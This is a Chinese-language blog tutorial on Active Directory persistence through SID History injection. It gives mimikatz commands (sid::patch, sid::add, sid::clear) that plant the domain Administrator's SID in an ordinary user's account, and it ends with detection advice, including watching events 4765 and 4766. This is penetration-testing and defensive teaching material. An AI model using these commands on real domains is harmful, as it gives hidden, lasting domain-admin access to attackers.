SID History域权限维持

一、简介
  每个用户都有自己的SID,SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限,SID History是在域迁移过程中需要使用的一个属性。
  如果A域中的域用户迁移到B域中,那么该用户的SID值就会改变,进而其权限也会改变。导致迁移后的用户无法访问以前可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz可以将SID History属性添加到任意用户的SID History属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员权限),就可以将SID History作为实现持久化的方法。
 
二、实验操作
将Administrator的SID添加到普通域用户的SID History属性中,使用powershell查看该用户的SID History属性。
先查看micr067用户的SID History属性,可以看到目前为空值。
Import-Module activedirectory
Get-ADUser micr067 -Properties sidhistory
 
打开一个具有域管理员权限的的命令行窗口,打开mimikatz,将administrator的SID添加到micr067用户的SID History属性中。需要注意的是使用mimikatz注入SID前,需要使用“sid:patch”命令修复NTDS服务,负责无法将高权限的SID注入到低权限用户的SID History属性中;mimikatz在2.1版本以后将misc::addsid模块转移到了sid::add模块下了。
privilege::debug
sid::add /sam:micr067 /new:administrator
其他用法:
sid::query /sam:user # 查看用户信息,如:SID
sid::patch # 修复NTDS服务
sid::add /sam:user /new:S-1-5-21-1150252187-1650404275-3011793806-500 # RID 500 域管理员账号
sid::clear /sam:micr067 # 清除SID History
 
再次使用Powershell查看micr067用户的SID History,可以看到SID History的值已经是RID为500的administrator用户的SID了。
 
切换micr067用户登录系统,可以看到该用户已经具有了administrator的权限,可以列出域控制器C盘中的文件了。
 
清除SID History属性
privilege::debug
sid::clear /sam:micr067
 
2.SID History域后门的防御
SID History域后门的特点如下:
1.在控制域控制器后,可以通过注入SID History属性完成持久化任务。
2.拥有该权限的SID的用户可以使用Powershell远程导出域控制器的ntds.dit。
SID History域后门的防御措施如下:
1.经常检查域用户中SID为500的用户,对这些用户的行为进行跟踪。
2.完成域迁移工作后,对有相同SID History属性的用户进行检查。
3.定期检查ID为4765和4766的日志,4765为将SID History属性添加到用户的日志;4766为将SID History属性添加到用户失败的日志。
 
参考链接:
posted @ 2020-02-19 15:51  micr067  阅读(432)  评论(0编辑  收藏  举报